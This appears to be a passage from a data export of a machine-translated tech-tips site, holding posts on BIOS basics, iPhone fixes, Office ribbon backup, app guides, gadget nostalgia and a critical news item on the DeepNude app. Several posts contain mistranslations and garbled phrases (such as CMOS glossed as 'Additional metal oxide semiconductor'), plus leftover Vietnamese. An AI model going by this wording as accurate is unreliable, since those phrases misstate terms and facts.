menu that appears.\n  Step 14 Go back to layer 1, unhide, unlock and use the drag and drop method to move the first frame to frame 25. See the picture below\n  Step 15 After that, select frame 45 and press F6 key. Go back on frame 25, take the Selection Tool (V), click once on the picture to select it, go to the Properties Panel at the bottom of the screen. On the right, you will see the Color menu . Select Advanced , click Settings and choose the following image selection.\n    Step 16 Right-click anywhere in the gray area between the two keyframes on the timeline and choose Create Motion Tween from the menu that appears.\n  Step 17 About sound. Create a new layer above all other layers and name it sound. Then search for any music file and import it into Flash Library ( File \u0026gt; Import \u0026gt; Import to Library ). Select the first frame of layer sound and use the drag and drop technique to move it from the Library to the Stage.\n  Go back to the main scene (Scene 1) and test your product ( Ctrl + Enter ). Download the original file.\nncG1vNJzZmismaXArq3KnmWcp51kuqKv0aiknpyZlnqnuMCsn2aomKTBsHnEn52em6SoeqK8z56Yq2WnnsGpedKorKec\n","link":"/post/macromedia-flash-photo-effects-appear-with-sound/","section":"post","tags":null,"title":"Macromedia Flash - Photo effects appear with sound"},{"body":"The technology of deepfake with the ability to swap face with AI is so good that many people can't help but worry about privacy violations. Now, another application is equally dangerous, with the ability to 'see' clothing, create fake nude images with just a click of the mouse, that's DeepNude.\nThe application also uses AI, but instead of swapping faces, it will turn photos of women even when shooting they are still wearing full clothes into nude pictures.\nThis dangerous application first launched in March for Windows and Linux operating systems. The scary thing is that DeepNude is completely free and very easy to use, you just need to download the application and try it out. With the free version, this app works quite well with high-resolution images and objects in the form of revealing clothes, will encounter errors with photos of people wearing clothes too long. The premium version is priced at 99USD, giving better image quality.\nThis application is only capable of creating nude pictures for women but the creator of this application (anonymous) told Vice page that the future will have a male version.\nThe application author says that the purpose of creating DeepNude is just for fun and justification that without this application, people can do it with a little Photoshop skill.\nHowever, it is not difficult to see that this is an extremely dangerous application, which can be used by bad guys for the purpose of revenge, harassing and threatening women.\nDeepNude Deepfake Technology ncG1vNJzZmismaXArq3KnmWcp51kwam10mabmqaXmr%2BwwdJmmKmonJ6wosDIqKVmm5GjerGxzZ6rq5mkmnq4u8yepaxlk6G8tbTIp55moZ5iwKavzqebrGWkna6vt9Jmq6hllJqysbLApJxmrJWYta%2B7y6iesg%3D%3D\n","link":"/post/this-dangerous-application-can-penetrate-women-s-clothing-in-seconds-thanks-to-deepfake-technology/","section":"post","tags":null,"title":"This dangerous application can 'penetrate' women's clothing in seconds thanks to deepfake technology"},{"body":"Animal 4D + is creating a 4D photo stream on computers and phones. Users experience the realistic space of the animal world right on the smartphone screen. And you can also bring exciting dinosaur worlds with Dinosaur 4D + application.\nDinosaur 4D + creates extremely attractive 4D dinosaur images through the available cards. Usage of Dinosaur 4D + is similar to using Animal 4D +, scanning preprinted photo cards to make the dinosaur appear on the screen in a realistic and vivid way. Children can still zoom in on dinosaur images, rotate dinosaur images in different angles to observe them more closely. The following article will guide you how to use Dinosaur 4D + application and some dinosaur images to show.\n4D animal photo collection for Animal 4D + Dinosaur 4D video + 4D dinosaur projection video 4D dinosaur projection guide on Dinosaur 4D + Step 1:\nUsers download Dinosaur 4D application + follow the link below and proceed to install as usual.\nDownload the Dinosaur 4D + iOS app Download the Dinosaur 4D + Android app Step 2:\nThen we need to agree to the application to access the camera on the device.\n  Select whether you want the application to send notifications.\n  Finally, you wait for the application to download the data to be able to use normally.\n  Step 3:\nThen you use the application that shines on the dinosaur image and gets the result as shown below.\n  We can rotate the animal in different directions to observe them more easily. The typical cry of the dinosaurs as well as the wild nature sounds is also exploited in detail by the manufacturer to bring the most true image of each dinosaur.\n  Step 4:\nWhen shining on each type of dinosaur in the bottom left corner of the screen, there are some other options when clicking on Tools . We can change 90 degrees to look at that dinosaur.\n  Step 5:\nWhen showing each dinosaur on the right side of the screen there are several different options, maximum of 5 options to change about dinosaurs are displayed.\nWhen you click on Action , the dinosaur will have some action like roaring.\n  When you click on Fun Facts, you have more information about the dinosaurs playing on the screen.\n  Continuing to click Skeleton will switch to the form of dinosaur skeleton.\n  If you click on Drive mode , add a circle to the left to move the dinosaur to any location you want.\n  Step 6:\nLike Animal 4D, Dinosaur 4D + has a dinosaur collection and details about that dinosaur, click the 3 dashes icon in the top right corner of the screen. Show the list of dinosaurs for us to see.\n  Users know more about the location of this dinosaur in the map image, details of height, skull length, .\n    2. 4D dinosaur collection for Dinosaur 4D +       Dinosaur world is no stranger to babies when Dinosaur 4D + application brings the image of the most authentic dinosaurs. If you want to own a full, high-quality card and have a better experience, you can visit the publisher's website to subscribe under the link www.octagonedu.com/products.\nWish you fun entertainment!\nncG1vNJzZmismaXArq3KnmWcp51kwrS1zaBknaGepMCiwdFma51lkaOxboDDZpuipp%2Borra%2BjJympaSVmMGqu80%3D\n","link":"/post/using-dinosaur-4d-and-4d-dinosaur-collection/","section":"post","tags":null,"title":"Using Dinosaur 4D + and 4D dinosaur collection"},{"body":" Believe me, 90% of the items below will remind you of that 'childhood'\n The 1990s were probably the hard times for technology in general. However, it is also the period of blooming of hundreds of creative gadgets (technological parts) to satisfy consumers' tastes. To relive the glorious past, let's explore the most popular gadgets this decade, the decade when the World Wide Web began to change our lives comprehensively.\nGAME MACHINE\nEarly 16-bit games\n Let's recall the legendary games we 'crushed': Mario, Contra, Sonic, Chip and Dale, Duck Shoot. I have to say never be bored.\n  When the tape cassette fails, just take the chips off and use them to play.\nNokia N-Gage\n The N-gage (derived from engage: commitment) is a gaming console with Nokia phones, running on the original Series 60 of Symbian OS v6.1. This is a great phone to play video games and also the ultimate audio recording device. Of course, it also follows Nokia's tradition of cattle, from shells to batteries.\nGame Boy\n Childhood is here. Before the era when you were autistic with your phone, this Japanese 8-bit blockbuster was exactly what every kid plugged into.\nPHONE\n1. Motorazr\n The first 'slim' phone was released to the market, back when Motorazr was guaranteed to attract countless gazes. The sleek design, beautiful silver color, and most importantly, a folding mobile phone, Motorazr was clearly Motorola's best mobile phone to date.\nSony Ericsson Walkman Series\n The Walkman phone series obviously comes in many different models, but the key selling tip here is clearly the sound quality, and the intimate connection to the Walkman brand.\nNokia phone\nNokia N series\n It can be said that the N-series has revolutionized the phone industry, for those who want to own a feature-rich phone instead of just a decoration. N-series is even known for playing games, but it is also filled with other features like music, photos, video, sending and receiving data, and of course internet support.\n Needless to say about it, the legendary cricket entered the meme world because the level of diamond 'bulls' also had to surrender and the atom bomb could not be destroyed.\n Iphone: Falling on the floor, broken screen\nNokia: Falling on the floor, broken floor\nMUSIC\nMini Disc player\n These at launch look like toys . fantasies from the future to the public. Yet their fate only existed for a few years before the advent of the iPod and swept the music-consuming industry.\nPortable Mp3 CD player\n A bargain for those who have little budgets for music. Not only has a stylish appearance, you are also free to adjust your music list, with the number of songs in the crisis at that time: 100+. They exist until other types of Mp3 players finally catch up with that price.\nMusic player\n Extremely expensive, extremely admirable. We used to visit music stores just to see these things. Their prices were too out of reach for most crowds at the time\n  SOME OTHER ITEMS\nVHS / Cassette rewind\n This extra accessory makes it easy and smooth to rewind the tape. With it, you do not need to hear the physical noises of this stage, just sit comfortably on the sofa and let it do magic.\nCamera immediately taken\n These cameras are now obsolete with the digital age. However, it was an extremely advanced technology at the time of launch, perhaps because it was the only thing that allowed you to take a picture and print it out in the blink of an eye!\nReferences: Quora\n Samuel Daniel Update 12 March 2020\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02aempyXmsG0ecyam55lpJ2ybr%2FTqKmmZZmjerW0xGZwaatdl8K1ec2oZKimlWK2tHnUrKCnn12ewW7Azp2Ysg%3D%3D\n","link":"/post/what-gadgets-made-the-storm-in-the-90s-but-no-one-is-using-it-today/","section":"post","tags":null,"title":"What gadgets made the storm in the 90s, but no one is using it today?"},{"body":"This is not a common bug and can be easily fixed through future updates. However, while waiting for Apple to release the patch, you can temporarily handle it with some of the following solutions.\n1. Reset keyboard dictionary This can be helpful if you use the Autocorrect and Predictive features while typing.\nAccordingly, the iPhone will automatically learn new words that you often use, then display future suggestions. All this data will be stored in the keyboard buffer, and for some reason it may cause the keyboard to be slow or unresponsive to the user actions. That is why you should reset keyboard dictionary on iPhone.\nTo do this, go to Settings - General - Reset - Reset Keyboard dictionary, and enter your password when prompted. Note, this only clears the keyboard cache and doesn't affect data on the iPhone.\n  When finished, try opening any application and check if the keyboard is working properly or not, if not, users just need to move to the next solution.\nRestart iPhone Restarting the device is the easiest way to fix unknown problems.\nFirst, press and hold the power button and the Home button at the same time until the Apple logo appears on the screen. For newer iPhone models (without a physical home button), users simply press and release the volume up button, press and release the volume down button, then hold the power button for a few seconds until the device is turned on. restart.\nAlternatively, you can also restart your iPhone by going to Settings - General - Shut down. Then, users just need to press the power button for a few seconds to turn on the device again.\n3. Update iOS Before you do this, connect your iPhone to your computer and open iTunes (Windows) or Finder (macOS) software and make a full backup of your data, which will help minimize the risks. happening. Without a computer, users can back up data through iCloud.\nOnce that's done, go to Settings - General - Software Update - Download \u0026amp; Install (download and install). Note, the size of the update may vary depending on the device you are using.\n  In addition, users also need to ensure a few GB of free space on the iPhone (or iPad) for the device to operate stably.\nIf none of the above fixes the problem, try restoring your iPhone by going to Settings - General - Reset - Reset all content and settings. content and settings).\nNote, this will wipe all the data on your iPhone, so make sure you have a backup on iCloud or iTunes.\nHopefully with the above tips, readers can solve the problem of slow keyboard at home instead of having to bring the device to a service center.\nncG1vNJzZmismaXArq3KnmWcp51kgG7DwLKqZqyfYrOqxIyso6ivXZ69qbvNnmSknamXvKK%2Bww%3D%3D\n","link":"/post/3-ways-to-fix-slow-iphone-keyboard/","section":"post","tags":null,"title":"3 ways to fix slow iPhone keyboard"},{"body":"TipsMake.com - Microsoft Office 2010 version allows users to easily customize and change the Ribbon toolbar and Quick Access Toolbar, through which we can quickly group and categorize commands or functions together. . In the following article, we will show you how to backup and restore toolbars after setting this up in a simple way.\nCreate and backup Customized Tab: Specifically, in this test, we use Microsoft Office 2010 , but with some recent versions, you can apply the same way. To get started, right-click the blank space on the toolbar and choose Customize the Ribbon:\n  The Word Options screen is displayed, where we can do a lot of options and settings according to user needs or personal preferences:\n  And to create a new customized tab, click the New Tab button :\n  Name this new tab:\n  The next thing is quite simple, we just need to drag and drop the corresponding function commands from the left column to the right:\n  Select the corresponding display method from the dropdown menu by group or all commands:\n  Basically so we have finished creating the custom function tab at will. You can create 1 or more tabs in the same way:\n  However, you should note that these function tabs exist only in certain applications or environments. For example, if created in Word , it will not be displayed in Excel or PowerPoint :\n  One useful point we can do is the ability to extract these customizations for use on other computers with the same version of Office . To do so, select the Customize Ribbon section at the bottom of the control panel and click Import / Export\u0026gt; Export all customizations , then save the file in a folder on your hard drive:\n    On other computers, if you want to re-use those settings, then select Ribbon Customizations\u0026gt; Import customizations file , point the path to the file just exported at the previous step:\n   The program will display the following message, click Yes :\n  And this is the result after importing the settings:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kr6Kvyq6nZpmemXqzsdKtpqudXaSzp7XCnmRraGFlerO1wZump2WkpLytrsCr\n","link":"/post/backup-and-restore-office-2010-ribbon-toolbar/","section":"post","tags":null,"title":"Backup and restore Office 2010 Ribbon toolbar"},{"body":"Probably not very often when you think about computer troubleshooting tools as long as the trouble happens to you. Your computer has its own troubleshooting center, which is BIOS (Basic I / O system). Without the instruction set from the BIOS, your operating system will not boot.\nWhen you turn on the computer, BIOS immediately works. BIOS is considered a firmware (firmware) - is a type of software integrated with hardware. An older type of BIOS is usually integrated into a ROM chip and attaches the board to the system. Flash BIOS is a newer type of BIOS and is stored in a flash memory chip that you can delete and reprogram.\nYou can understand that the BIOS is a pre-operating program, which helps a computer to do anything it can without accessing the software from a drive. The code written in this firmware is responsible for controlling things like drives; identify the presence of major system components (such as processors and memory capacities); communicate with monitors, keyboards, mice, and other peripherals, etc. It starts the system, checks all essential configurations so that the system can let the operating system launch. When the operating system runs, it considers the BIOS role to validate and control peripheral devices.\n  Learn about the BIOS Are all Bios the same? How to determine which BIOS version you have? Windows 10, Windows 8, Windows 7, Windows Vista and Windows XP Windows 98 or earlier  How to open BIOS? What settings can you change in BIOS? Main Advanced Boot  How to upgrade BIOS? Are all Bios the same? Incorrect. There are several companies that produce BIOSes, so different versions have different codes. Leading BIOS manufacturers include AMI ( http://www.ami.com ), Phoenix Technologies ( http://www.phoenix.com ), IBM ( http://www.ibm.com ) and Intel ( http://www.intel.com ). Some BIOS manufacturers also produce the entire system, while other manufacturers focus on components, such as processors and motherboards.\nHow to determine which BIOS version you have? Windows 10, Windows 8, Windows 7, Windows Vista and Windows XP The BIOS version number is not something you need to keep up to date. The main reason you want to check the BIOS version is to know if there are any new updates.\nLike almost everything in the technology world, motherboard software (BIOS) is sometimes updated, sometimes to fix bugs and sometimes to add new features.\nAs part of a number of hardware troubleshooting processes, especially RAM-related or new CPU processes that don't work correctly, updating the BIOS to the latest version is a good option.\nHere are 5 different methods to check the BIOS version installed on your motherboard:\nMethods 1 and 2 are the best solution if your computer is not working properly. They are independent of the operating system. Methods 3, 4 and 5 are more convenient ways to check the BIOS version, requiring your computer to work and is only applicable in Windows 10, Windows 8, Windows 7, Windows Vista and Windows XP. Method 1: Restart the computer and pay attention\nThe \"traditional\" way to check the BIOS version on your computer is to see the note that appears on the screen during the POST process when your computer starts booting.\n1. Restart your computer normally (assuming it still works well to do that). If not, turn off the power manually and then restart the computer.\n  2. If your computer is turned off immediately, powering on will also work normally.\nTips:\nCarefully consider when the computer starts and note the BIOS version displayed on the screen.\nSome computers, especially computers manufactured by major manufacturers, display computer logo screens instead of POST results. That's where the BIOS version number is located. Press Esc or Tab usually delete the logo screen and display POST information behind it.\nIf the POST results screen disappears too quickly, try pressing the Pause key on the keyboard. Most motherboards will pause the boot process, giving the user plenty of time to read the BIOS version number.\nIf the pause does not work, raise your smartphone on the computer screen and return to the video about the POST results that appear on the screen. Most cameras record images at a rate of 60 fps or higher, helping you capture the BIOS version of your computer.\n3. Write down the BIOS version number as shown on the screen. The BIOS version number is not always easy to see, so write down any possible information.\n  Tips:\nTake a picture! If you can pause the boot process at the POST results screen, take a picture with your phone. This will store specific information for future reference.\n4. You will now have your BIOS version number.\nThe reboot method is great when your computer is inactive and you cannot apply one of the more convenient methods below.\nHowever, restarting your computer can be frustrating, if you look at the lack of BIOS version notation. The POST results screen is usually very fast, especially when the computer runs fast and reduces boot time.\nMethod 2: Let the BIOS update tool tell you\n  Updating the BIOS is not something you can do manually. In most cases, you will use the special BIOS update tool provided by the computer or motherboard manufacturer to do this.\nNormally, this tool will clearly display the current BIOS version that is installed, so even if you are not ready to update the BIOS, or are not sure if you need to do it, BIOS update tool (public) BIOS update tool) can be used to check the current version.\nFirst, you need to identify online support from your computer or motherboard manufacturer, then download and run the tool. You do not need to update anything, so skip the following steps in any of the instructions provided.\nNote : This method works when your computer does not boot properly while the BIOS update tool for the motherboard is bootable. In other words, if the BIOS update program only works in Windows, you'll be forced to use method 1.\nMethod 3: Use Microsoft System Information (MSINFO32)\nAn easier way to check the BIOS version running on your computer's motherboard is through a program called Microsoft System Information .\nThis method does not require restarting the computer. It is already included in Windows (meaning you don't have to download and install anything).\nHere's how to check the BIOS version with Microsoft System Information:\n1. In Windows 10 and Windows 8.1, right-click or press and hold the Start button and select Run .\nIn Windows 8.0, access Run from the Apps screen . In Windows 7 and earlier Windows versions, click Start and then select Run.\n2. In the Run window or search box, enter the following exact phrase:\nmsinfo32    A window with the System Information title will appear on the screen.\n3. Click on System Summary, if it is not highlighted.\n4. On the right, under the Item column, find the entry named BIOS Version / Date.\n  \nNote : In some cases, you may also need to know what the manufacturer and motherboard model is. If that information is reported to Windows, you will find those values ​​in BaseBoard Manufacturer items , BaseBoard Model and BaseBoard Name.\nRecord the BIOS version as reported here. You can also export the results of this report to TXT file in File \u0026gt; Export . in the System Information menu .\nMicrosoft System Information is a great tool, but it does not always report the BIOS version number. If your computer falls into this category, a similar third-party program is the next thing you should try.\nMethod 4: Use tools to provide 3rd party system information\nIf Microsoft System Information does not contain the BIOS version data you need, there are a number of alternative system information tools available online that you can try. Many tools also provide more detailed information than MSINFO32.\nHere's how:\n1. Download Speccy, a completely free system information tool for Windows.\nNote : There are some tools that provide really good system information, but Speccy is a favorite choice for many users. It's free, has a portable version and tends to show more information about your computer, than similar tools.\n2. Install and run Speccy if you choose the installable version or unzip and then run Speccy.exe or Speccy64.exe if you choose the portable version.\n  See the article: Difference between 32-bit and 64-bit Windows? If you are not sure which file to run.\n3. Wait for Speccy to scan your computer. This process usually takes a few seconds to a few minutes, depending on the speed of your computer.\n4. Select Motherboard from the menu on the left.\n  5. Note the version listed in the BIOS subcategory on the right. This is the BIOS version you are using.\nTip : Trademarks listed under the BIOS are usually not valuable information. The BIOS update tool and the data file you need will come from your computer or motherboard manufacturer, listed as Manufacturer and will be specific to your motherboard model, listed in Manufacturer section .\nIf Speccy or another \"sysinfo\" tool doesn't work in your case, or you don't want to download and install any software, you still have a last resort to check the BIOS version of your computer.\nMethod 5: Exploit in the Windows Registry\nLast but not least, and perhaps not surprisingly for those who already know, lots of information about the BIOS can be found in the Windows Registry.\nNot only is the BIOS version usually listed clearly in the registry, but there is also information about the manufacturer and your motherboard model.\nThis is the place to find it:\nNote : No changes have been made to the registry key in the steps below, but if you are afraid you might accidentally change this important part of Windows, you can always back up the registry at any time. Come on.\n1. Open Registry Editor.\n  2. From the registry hive list on the left, expand HKEY_LOCAL_MACHINE.\n3. Continue going inside HKEY_LOCAL_MACHINE, first with HARDWARE, then DESCRIPTION, and finally System.\n4. With the System section expanded, press or click the BIOS.\n5. On the right, in the list of registry values, locate a value named BIOSVersion. The right value is the installed BIOS version you need.\n  Note : The BIOS version may be written as SystemBiosVersion in some older versions of Windows.\n6. Rewrite the BIOS version, as well as the BaseBoardManufacturer and BaseBoardProduct values ​​somewhere, if you need them.\nThe Windows Registry looks scary but as long as you don't change anything, it's completely harmless when you need to exploit the information in it.\nWindows 98 or earlier If you have an older computer, such as a machine that is installing Windows 98 or a previous version, you can see your BIOS identifier string - a long string of numbers and letters-on the start screen when You start the system. However, on newer systems, your BIOS can be configured to perform a quieter boot process, which means that you will not see the results of the POST process (self-test when enabled. machine) that BIOS does when your system is turned on. So you will need to find your BIOS version somewhere else.\nTry finding your BIOS version in the System Information process, part of Windows in the Start menu. In Windows XP, click Start, All Programs, Accessories, System Tools and System Information. The information you need is listed under System Summary. Under the Start menu, open the System Information tool to find your BIOS version and manufacturer. In the right pane, next to the BIOS Version / Date section, you will see the BIOS manufacturer name, version and the date it was created. Of course, this information does not help you access the BIOS but it is the information you should know. In fact, you should copy this data to a piece of paper and keep it in a safe place, especially if you plan to modify your current BIOS or upgrade to a newer version. Another option is to consult the computer user manual. It can provide information about both the BIOS version and how to access it. Finally, you can visit your computer manufacturer's website. There, you can know not only your BIOS type but also how to upgrade it. You only need to perform a simple search with the keyword 'BIOS versions' or 'access the BIOS' to get to the place you need on the site. You can also narrow your search results by adding your PC brand to your search terms. For example, IBM ThinkPad users can visit a page on the IBM web site dedicated to them at http://www.pc.ibm.com/us/thinkpad/community.html . How To Access The BIOS page is intended for ThinkPad users running the minimum version of Win98 SE. Click the Detect BIOS Version button to scan through your system and your BIOS version will be displayed in a pop-up window. You can also check a table on this page for specific instructions on how to access the BIOS on your system.\nHow to open BIOS? This is not a common, unified process. BIOS access methods are often different for each computer manufacturer, if not different for each system model. Because tweaking the BIOS is often not a necessary job and is often more harmful than beneficial if you don't know what you are doing, some computer manufacturers often hide them. Just like with the Windows Registry, you should not mess up the BIOS unless you are sure you know what you are doing and that is essential.\nPerhaps you will be very fortunate to have a system that reveals to you the key combination to open the BIOS when you start your computer. For example, on the Gateway PC running WinXP, after turning on the power, the first screen we see has a message that we can access our BIOS settings by pressing F2. If the boot screen doesn't give any information, follow the method we just mentioned above to discover your BIOS identifier string. Your system manufacturer or notebook will be able to tell you how to get into the BIOS. When you dig into the BIOS, you can see the abbreviation CMOS (Additional metal oxide semiconductor), especially when you have an old system. This is a type of RAM chip on your system board and is a very important place to store all your system configurations. However, BIOS will take care of checking this configuration information every time you start your computer and, when necessary, update the settings on the CMOS chip. Because Bios and CMOS are closely interconnected, your BIOS interface can be labeled as CMOS Setup Utility or something similar but technically they are not one.\nWhat settings can you change in BIOS? Your BIOS may be organized differently from ours, although it may be different only in how to label sections. However, here are the highlights of the content of a typical new BIOS. We chose to describe features grouped on different screens in our BIOS (manufactured by Intel).\nMain On this introduction screen, you will have a picture of the structure of your system components: BIOS version, processor type and speed, memory speed and system bus, RAM cache and Total memory capacity. Obviously, you can't change these numbers unless you have to change your PC.\nThe only settings that you can change on the main screen are language, date and time. You use the up and down arrow keys of the keyboard to go to the appropriate field and if you need to include new data, press Enter. Although you can change the date and time of the system in BIOS, you can also change these parameters more easily via the Windows interface.\nAdvanced We will now explore the central part of BIOS settings. The values ​​entered here, if true, will keep your system in good working order. If not, they can cause the system to malfunction, so be careful when you go here. A very good experience is to thoroughly examine this setting of the BIOS whenever you upgrade the system with new hardware, whether internal components or peripherals, to see the settings below. Whether it suits your new components or not.\n1. Peripheral Configuration (Peripheral Configuration) Use this screen to enable or disable parallel and sequential ports, plus change many other specific settings. In DOS systems, there are 4 supported serial communication ports: COM1, COM2, COM3 and COM4. Only two requests to interrupt IRQ3 and IRQ 4 are available for these four ports to allow communication between devices and processors. When you add a new peripheral, you will have to specify which IRQ it can use. Plug-and-Play technology usually handles these settings automatically, but if a problem arises, you now know where to go in the BIOS to handle it. 2. Drive Configuration (Drive configuration)  If you are going to install a new hard drive, you will want to check this section to make sure the new settings are recorded. For example, in our BIOS, we have several options for setting up Advanced Technology Attachment (Integrated Technology Electronics) ATA / IDE. ATA is a hard drive specification in which the data controller - a chip is used to communicate with peripheral devices - is located on the drive. ATA is based on IDE technology. Also on this screen is a list of detected and undiscovered IDE devices. When the BIOS works, it looks for the presence of IDE devices installed or attached. If a device is detected, you can tweak one or two settings, but modifying these settings will not affect the performance of your IDE drives; This implementation is controlled by your IDE and operating system drivers. 3. Floppy Configuration  If you install a new floppy drive, you will probably need to modify certain settings here. You will be able to choose the size of the newly installed drive, such as a 3.5-inch, 2.88MB size drive. You can also enable or disable an write protection feature for this drive. 4. Event Log Configuration (Configuring event log)  Your system may contain a DMI event log (screen management interface). A DMI log keeps track of changes made to a system, such as program installation. This screen gives you the option to turn on and off the log and then view the log contents, delete it and mark it as read. 5. USB Configuration (USB configuration)  USB (Universal Serial Bus) ports provide fast connections to peripheral devices such as mice. USB standards are available in two versions: USB 1.1 (12Mbit / s) and USB 2.0 (also known as Hi-Speed ​​USB; 480Mbit / s). Consider this setting of the BIOS to make sure that the appropriate USB version is available based on your installed drivers. If your BIOS does not support USB, you will need to update it before upgrading to a USB peripheral. Power. These are power management settings based on ACPI (Advanced Configuration and Power Interface) specifications. ACPI settings let you know how much system power has been spent on each peripheral device. If you are in unused mode, a computer can turn off a device to save system resources. You can also enable and disable a type of 'after power failure' setting, which determines how your system reacts in the event of a power failure. With some other BIOS settings, these power management settings are usually handled without any problems by your operating system.\nBoot Your choices here include a mix of startup-related settings. For starters, you can determine the order in which your system boots its drives and removable devices. You can also enable or disable the silent boot feature. In addition, you can turn on and off detection alerts for system components, such as your drives, keyboards, and mice. If these alerts are turned on, your computer will notify you with a loud beep if it cannot detect a device. Exit the BIOS safely\nYour BIOS may contain an Exit screen that allows you to safely get rid of this firmware. You can save the changes you made in CMOS and exit the BIOS or save nothing and exit. Your BIOS may also have another built-in safety feature. If you choose to exit the BIOS by pressing the Esc button, you will be asked if you want or do not want to save the changes before you exit. This safety feature will prevent you from keeping a change you accidentally made. Don't think that such errors will not happen. Because moving in the BIOS requires keystrokes instead of familiar clicks, it is very easy to accidentally change a setting. And as we have warned, even a false setting in the BIOS can change your reality from 'the whole operating system' to 'damaged system'.\nHow to upgrade BIOS? Mr.Bios ( http://www.mrbios.com ) is a very good address to find an online BIOS upgrade, especially if you have a BIOS produced by the companies listed in the image. take this screenshot. In general, manufacturers release updates for BIOS versions for one of two reasons? The following: to fix a bug in the BIOS or to add support for new hardware or features. Similarly, the best reason to upgrade your BIOS is when you have just upgraded the main hardware components, such as a processor, hard drive or video card. To find an updated version of the BIOS for your system, first visit your BIOS manufacturer's web site. If an upgrade is available on this site, it will provide you with step-by-step instructions on how to download and install this file. Of course, this process will change for each site. Having a site requires you to fill out a form or allow the site to scan through your system before you can download the appropriate upgrade file. Save the file to the hard drive, extract it and save it to a floppy disk. Then, insert the disk into the floppy drive and let the executable file in the disk perform its task. On the other hand, some BIOS upgrade sites often choose to send you a floppy with updated files and installation instructions. Another option is to go to a BIOS upgrade site, such as eSupport ( http://www.esupport.com ). Web site này cung cấp các bản nâng cấp cho một số nhà sản xuất Bios hàng đầu. Nó cung cấp cho bạn một số phương pháp để có được một Bios mới. Ngoài ra bạn cũng có thể vào BIOS-Drivers.com ( http://www.bios-drivers.com ), một web site cung cấp các kết nối tới hầu như tất cả các nhà sản xuất Bios hiện nay. See more:\nInstructions for entering BIOS on different computers Cách thiết lập BIOS để boot từ USB/CD/DVD, ổ cứng ngoài Instructions for upgrading BIOS ncG1vNJzZmismaXArq3KnmWcp51kr6q70maZmquZmHqqusWoqaaZpJ68r3nFqKlmmpWctq%2B6xKuq\n","link":"/post/bios-basic-information-for-beginners/","section":"post","tags":null,"title":"BIOS - Basic information for beginners"},{"body":"Officially entering the limited Beta testing phase at the end of November 2021, FIFA Mobile 22 has received countless positive reviews from the gaming community. And now, this mobile football game is finally ready to be released.\n  Recently, FIFA Mobile's Twitter page has posted some new announcements to introduce to the gaming community the new features that will appear in the upcoming game. Specifically, FIFA Mobile 22 will be added with stadium sound as well as live commentary to make the stands more authentic and vibrant than ever.\n  Besides, FIFA Mobile 22 also supports frame rates up to 60 FPS at the time of launch. With this new feature, gamers will experience the top ball games in an extremely smooth way. In addition, the higher frame rate also makes it possible for players to see more detailed visualization on the screen as information is displayed more often.\n  The new version of FIFA Mobile 22 in January 2022 will be updated with more maps of famous stadiums in the world, such as: Estadio de las Artes, Eastpoint Arena, Stadion Olympik, Estadio Presidente G, Lopes, Sanderson Park, Estadio El Medio.\n  FIFA Mobile 22 will be released completely free on both Apple App Store and Google Play app stores.ncG1vNJzZmismaXArq3KnmWcp51ksqJ51qKjpWWfm7Oqr8iao6WxXaeyrbHArJxmnpmbrm65zpugpZ1dZ39uvsign61lmaN6q63NrpirsV1nfXN%2B\n","link":"/post/ea-will-officially-release-fifa-mobile-22-right-in-january-2022/","section":"post","tags":null,"title":"EA will officially release FIFA Mobile 22 right in January 2022"},{"body":"According to the roadmap, there are still 9 months before the Google Pixel 5 XL is launched, but right from the present time, information about this phone has been very interested and has become a hot topic. Many big tech forums. Simply because the Pixel 5 XL is Google's most high-end phone, a direct competitor to the iPhone 12, Note 11 or Mate 40 Pro, and full of software-related Mountain Mountain software. View.\nRecently, a few CAD rendering images of the alleged Pixel 5 XL smartphone have been leaked on the internet and received the attention of many experts, including that the device has a rear camera cluster with extreme design. strange.\n  According to what can be seen in the photo, Pixel 5 XL will own the main camera cluster with 3 sensors, arranged in the form of an inverted triangle and placed in an area that looks like a shield, stretching from the top edge of the machine and floating block. In addition to a conventional lens and telephoto positioned vertically above, there is also an ultra-wide angle lens located at the bottom of the camera module. The specs of the camera cluster are still unknown, but in terms of overall design, it looks quite different from what you are familiar with in today's smartphone models.\nIt's also possible to realize that the Pixel 5 XL will have a frosted glass back similar to the Pixel 4 series, with a shiny glass-panel camera module area.\nNo photo of the front of the Pixel 5 XL has been released yet, as its design is likely to be incomplete.\nThe person who posted the photo above, market analyst Jon Prosser, said that this is just one of the three Pixel 5 XL designs that are being reminded by Google engineers. The remaining 2 designs have not been revealed, meaning that the ability to be selected will not be as high as the leaked design.\nIt is still too early to say what Google's most awaiting smartphone in 2020 will look like. However, the leaked images will somewhat show the manufacturers' intentions with their devices.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqiZrbKteZRmr6Vllp6%2FtMCMpZyao5WZeqq5wKCcrA%3D%3D\n","link":"/post/google-pixel-5-xl-first-leaked-images/","section":"post","tags":null,"title":"Google Pixel 5 XL: First leaked images"},{"body":"To make your iPhone status bar unique, expressing your personality and style, many iFan have accepted the Jailbreak device. However, this job brings a very high risk, if Jailbreak only to change the iPhone status bar interface, why don't you ask for the support of third-party applications? Status Art will be a great help to help you change the background color of the status bar without jailbreaking the device. Moreover, this application also has a lot of different background colors for your choice. Let's explore how to change the status bar on the following iPhone.\nTurn iPhone screen into black and white Instructions to change iOS interface without jailbreak How to create application icon on iPhone / iPad without jailbreak   Instructions to change iPhone status bar without jailbreak Step 1:\nDownload and install Status Art application for device at Appstore store or click on the link below.\nDownload Status Art app for iOS. Step 2:\nPress the plus sign (+) and select any image you want to use as wallpaper, lock screen. Then, you move or zoom in depending on your preferences and select OK .\n  Step 3:\nNow you can see that Status Art provides a lot of interfaces for you to proceed to discolor iPhone status bar without jailbreak. You select and drag the In . bar to adjust the opacity.\n  Step 4:\nSelect the share button icon in the right corner of the screen and Save the image . This image will be saved in the iPhone Camera roll.\n  Step 5:\nFind the picture you just saved in the iPhone Camera by: Go to Settings\u0026gt; Wallpaper\u0026gt; Select New wallpaper.\n  Step 6:\nAfter selecting the image, please move and divide the scale appropriately and then click on the Settings . You can now set up for Lock Screen, main screen or both.\n  With just a few simple steps, you can freely customize the appearance of the status bar on your iPhone without worrying about hanging the apple or the effects of jailbreak. Share this good tip to your friends if you find it useful.\nI wish you all success.\nSee more:\nInstructions for changing Samsung Galaxy S8 / S8 Plus interface How to change wallpaper on iPhone / iPad How to change iPhone password to 4 numbers 